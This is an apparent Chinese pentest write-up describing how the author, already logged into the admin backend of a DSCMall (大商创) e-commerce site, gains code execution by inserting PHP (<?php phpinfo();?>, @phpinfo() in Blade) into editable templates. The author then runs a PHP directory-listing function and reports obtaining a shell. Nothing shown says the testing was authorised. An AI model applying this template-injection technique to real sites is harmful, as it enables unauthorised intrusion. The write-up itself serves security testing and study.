记一次划水测试

背景

已经进了后台

从前台来看,目标站点是大商创

下载了源码,但是存在swoole_loader加密,暂时不会分析

遂直接从目标站黑盒测试

模板编辑

在模板->库项目管理处,可以编辑模板文件

1612336548770

这个是大商创的2.0版本,和我下载的版本还是有很明显的差别的

下面是我下载的2.3版本的模板文件

1612336610741

由于2.3版本是基于laravel框架的

所以采用的是 Blade 模板引擎

这种获取shell也很简单

直接在第一行添加php代码即可比如@phpinfo(),不需要分号

但是目标站很明显不是

经过查找,发现目标站属于dwoo模板引擎

其示例代码如下

1
<!DOCTYPE html><html> <head> <title>My Webpage</title> </head> <body> <ul id="navigation"> {foreach $navigation item} <li><a href="{$item.href}">{$item.caption}</a></li> {/foreach} </ul> <h1>My Webpage</h1> {$a_variable} </body></html>

如下代码的if处是经过eval进行处理的

1
2
3
4
5
6
7
8
9
10
11
12
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<!--{if $ad_child}-->
<div class="banner brand-banner" style="background:{$ad.link_color};">
<div class="w w1200 relative">
<!--{foreach from=$ad_child item=ad name=noad}-->
<div class="brand-banner-wp">
<a href="{$ad.ad_link}" target="_blank"><img src="{$ad.ad_code}" width="{$ad.ad_width}" height="{$ad.ad_height}"></a>
</div>
<!--{/foreach}-->
</div>
</div>
<!--{/if}-->

所以一直纠结到底怎么构造

后来,直接试了一下不构造

直接在最上面插入

1
<?php phpinfo();?>

接下来就是找,什么地方渲染了此模板

经过一番查找,在brand.php

1612337056510

接下来就是找目录,因为自己在测试的时候不知道这个版本的情况

最新版的就是public目录下,导致一直失败

最后,迫不得已,去列了一下目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function listDirTree( $dirName = null ) {
if( empty( $dirName ) ) {
exit( "IBFileSystem: directory is empty." );
}else{
if( is_dir( $dirName ) ) {
if( $dh = opendir( $dirName ) ) {
$tree = array();
while( ( $file = readdir( $dh ) ) !== false ) {
if( $file != "." && $file != ".." ) {
$filePath = $dirName . "/" . $file;
if( is_dir( $filePath ) ) {//为目录,递归
echo $filePath;
echo "<br>";
$tree[$file] = listDirTree( $filePath );
} else {//为文件,添加到当前数组
echo $file;
echo "<br>";
$tree[] = $file;
}
}
}
closedir( $dh );
} else {
exit( "IBFileSystem: can not open directory $dirName.");
}
//返回当前的$tree
return $tree;
} else {
exit( "IBFileSystem: $dirName is not a directory.");
}
}
}
listDirTree(".");

成功获取到目标站的shell

1612337165053

end